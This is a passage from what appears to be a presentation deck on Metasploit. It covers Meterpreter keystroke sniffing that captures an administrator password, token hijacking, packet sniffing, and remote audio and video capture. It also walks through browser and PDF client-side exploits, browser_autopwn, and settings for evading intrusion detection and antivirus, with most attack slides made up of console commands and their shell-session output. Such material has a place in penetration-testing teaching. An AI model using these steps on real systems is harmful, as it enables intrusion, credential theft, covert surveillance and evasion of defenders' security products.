    > migrate 260 meterpreter > keyscan_start [*] Starting the keystroke sniffer... meterpreter > keyscan_dump [*] Dumping captured keystrokes... http://www.didsomeoneownme.com <Return> meterpreter > keyscan_stop [*] Stopped the keystroke sniffer
  195. Console Login Sniffing meterpreter > ps [..] 480 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe

    meterpreter > migrate 480 meterpreter > keyscan_start [*] Starting the keystroke sniffer... meterpreter > keyscan_dump [*] Dumping captured keystrokes... Administrator <Tab> admin123 <Return> meterpreter > keyscan_stop [*] Stopped the keystroke sniffer
  196. Meterpreter Extension: incognito Loaded with: “use incognito” Scans for authentication

    tokens Hijack tokens to gain privileges  Go from System to Local Admin  Go from Local Admin to Network Admin  Go from Network Service to Admin
  197. Brand New Extensions Sniffer  Complete in-memory buffered packet sniffer

     Uses the MicroOLAP Packet Sniffer SDK ($$$)  Works great, but still BETA quality Espia  Capture remote audio, video, and screencasts  Still under heavy development
  198. Meterpreter Extension: sniffer Loaded with: “use sniffer” Automatically excludes control

    channel traffic Stores up to 200,000 packets in a ring buffer Exports the capture in standard PCAP format  Use psnuffle, dsniff, wireshark to process  Easy way to capture passwords and data  Still in BETA (can BSOD on sniffer_stop)
  199. Network Sniffing meterpreter > use sniffer meterpreter > sniffer_interfaces 1

    - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) meterpreter > sniffer_start 1 [*] Capture started on interface 1 (50000 packet buffer) meterpreter > sniffer_stats 1 [*] Capture statistics for interface 1 bytes: 21311 packets: 151 meterpreter > sniffer_dump 1 /tmp/target.cap [*] Flushing packet capture buffer for interface 1... [*] Flushed 151 packets (24331 bytes) [*] Downloaded 100% (24331/24331)... [*] Download completed, converting to PCAP... [*] PCAP file written to /tmp/target.cap
  200. Meterpreter Extension: espia Loaded with: “use espia” Remote audio, video,

    and screen capture Still under active development  capture_audio [params]  capture_video [params]  capture_screen [params]
  201. Meterpreter Development Meterpreter is being ported to POSIX  Linux,

    FreeBSD, other Unix ( works July 26th 4:00am! )  Merging this with Dino/Charlie's Mac OS X work Meterpreter reimplemented in PHP  Similar functionality, still in development  Break out of web apps into the system Meterpreter ported to the iPhone  Charlie Miller is speaking on this at Black Hat
  202. Client-Side Exploitation

  203. Attacking Client Applications External penetration testing is getting tougher 

    Externally-exposed systems often patched  Limited number of applications and services  Managed by professional administrators Switch to attacking the users, not the servers  Patch levels differ between workstations  Large number of reachable applications  Barely managed by non-IT users
  204. Targeting Client Applications Research and enumeration is critical  Create

    a list of target user accounts  Determine what applications are in use  Discover what filtering products are in place Tons of great tools for this  Maltego: http://paterva.com/  BotsVsBrowsers: http://botsvsbrowsers.com/  Search engines (not just Google)
  205. Metasploit Client-side Exploits Over 90 client-side modules available  Dozens

    of web browser flaws  Many different file formats  Specific media players Create a list of specific modules to use  Review the modules for any requirements  Match exploit targets to target app versions
  206. Exploiting Web Browsers Modules include their own web server 

    Specify SRVHOST, SRVPORT as needed  Specify URIPATH to set the URL  Modules can share the same service  Payloads can NOT share ports
  207. Configuring Browser Exploits msf > use exploit/windows/browser/ie_xml_corruption msf exploit(ie_xml_corruption) >

    set SRVPORT 8888 msf exploit(ie_xml_corruption) > set URIPATH /xmlbug msf exploit(ie_xml_corruption) > set PAYLOAD windows/shell/bind_tcp msf exploit(ie_xml_corruption) > exploit [*] Started bind handler [*] Using URL: http://0.0.0.0:8888/xmlbug [*] Local IP: http://192.168.0.139:8888/xmlbug [*] Server started. [ target loads http://192.168.0.139:8888/xmlbug ] [*] Command shell session 1 opened (192.168.0.118:4444) msf exploit(ie_xml_corruption) > sessions -i 1 C:\Documents and Settings\Developer\Desktop>
  208. Combining Browser Exploits Configure each browser exploit on a new

    URL  Use a msfconsole resource file to automate  Use global vars for common options  Set unique LPORTs for reverse payloads Combine multiple exploits using IFRAMEs and JS  Create a Mac OS X exploit page  Create a “everything page”  Place on own web server
  209. browser_autopwn The built-in automated browser exploiter  Just underwent a

    massive rewrite  Fingerprints browsers with CSS and JS  Combines ~10 different exploit modules  Reverse shell payloads increment ports Still somewhat limited  No granular payload control  Hard to apply per-exploit options
  210. Using browser_autopwn msf > use auxiliary/server/browser_autopwn msf auxiliary(browser_autopwn) > set

    LHOST 192.168.0.139 msf auxiliary(browser_autopwn) > set SRVPORT 8888 msf auxiliary(browser_autopwn) > set URIPATH /autopwn msf auxiliary(browser_autopwn) > run [ loading output from every exploit module ] [ target browses to http://192.168.0.139:8888/autopwn ] [*] Request '/autopwn' from 192.168.0.118:1064 [*] Recording detection from User-Agent [*] Browser claims to be MSIE 7.0, running on Windows XP [*] Responding with exploits [*] Command shell session 1 opened (192.168.0.118:4444)
  211. Exploiting File Formats Modules generate a file containing the payload

     Specify the OUTPUTPATH and FILENAME  Relies on the user to deliver the exploit file  More flexibility than browser-only modules
  212. Using File Format Exploits msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf)

    > set PAYLOAD windows/shell_bind_tcp msf exploit(adobe_utilprintf) > set LPORT 12345 msf exploit(adobe_utilprintf) > set OUTPUTPATH /tmp msf exploit(adobe_utilprintf) > set FILENAME bindshell_12345.pdf msf exploit(adobe_utilprintf) > exploit [*] Creating 'bindshell_12345.pdf' file... [*] Generated output file /tmp/bindshell_12345.pdf [ send PDF to the target ] msf > use exploit/multi/handler msf exploit(handler) > set RHOST 192.168.0.118 msf exploit(handler) > set PAYLOAD windows/shell_bind_tcp msf exploit(handler) > set LPORT 12345 msf exploit(handler) > exploit
  213. Metasploit Evasions

  214. Security Product Deployment Corporations often have 2+ of the following

     Anti-virus (desktop and/or gateway)  Network firewall and/or NAT gateway  Desktop packet filters and/or app firewalls  Web proxy and/or web filtering  IDS, IPS, and/or HIPS These are annoying and easy to bypass...
  215. Evasion as a Design Goal Advanced and Evasion options in

    every module  Implemented via protocol libraries and mixins  Setting shared among similar modules Payload and padding is randomized  Encoders are somewhat randomized  Nop padding is extensively randomized Exploit modules use random string generation  Rex::Text provides all of these methods
  216. Evasions: Exploit::Remote::TCP Maximum send size (TCP::max_send_size)  Writes all TCP

    data N bytes at a time  Disables Nagle algorithm  Effective! Minimum send delay (TCP::send_delay)  Forces a delay between each segment  Slow streams time out from IDS/IPS  Combine with send size
  217. Evasions: Exploit::Remote::SMB SMB Pipe Read/Write evasion  Enable with SMB::pipe_evasion

     Writes: SMB::pipe_write_max_size  Reads: SMB::pipe_read_max_size Other SMB evasion methods  SMB::pad_data_level (0-3)  SMB::pad_file_level (0-3)  SMB::obscure_trans_pipe_level (0-3)
  218. Evasions: Exploit::Remote::DCERPC DCERPC fragmentation  Set size via DCERPC::max_frag_size DCERPC

    multi-context bind  Enabled by default (breaks Samba)  DCERPC::fake_bind_multi_append  DCERPC::fake_bind_multi_prepend DCERPC pipe i/o method  Switch between rw and trans modes
  219. Stacking Evasion Methods msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >

    set PAYLOAD windows/shell_bind_tcp msf exploit(ms08_067_netapi) > set RHOST 192.168.0.118 msf exploit(ms08_067_netapi) > set TCP::max_send_size 1 msf exploit(ms08_067_netapi) > set SMB::pipe_evasion true msf exploit(ms08_067_netapi) > set SMB::pipe_max_write_size 1 msf exploit(ms08_067_netapi) > set SMB::pipe_max_read_size 1 msf exploit(ms08_067_netapi) > set SMB::pad_data_level 3 msf exploit(ms08_067_netapi) > set SMB::pad_file_level 3 msf exploit(ms08_067_netapi) > set SMB::obscure_trans_pipe_level 3 msf exploit(ms08_067_netapi) > set DCERPC::max_frag_size 1 msf exploit(ms08_067_netapi) > exploit
  220. Evasions: Web Browser Exploits Encryption  The SSL option encrypts

    with randomized cert Compression  HTTP::compression (none, gzip, deflate) Chunking  Enable by setting HTTP::chunked to true Headers  HTTP::header_folding HTTP::junk_headers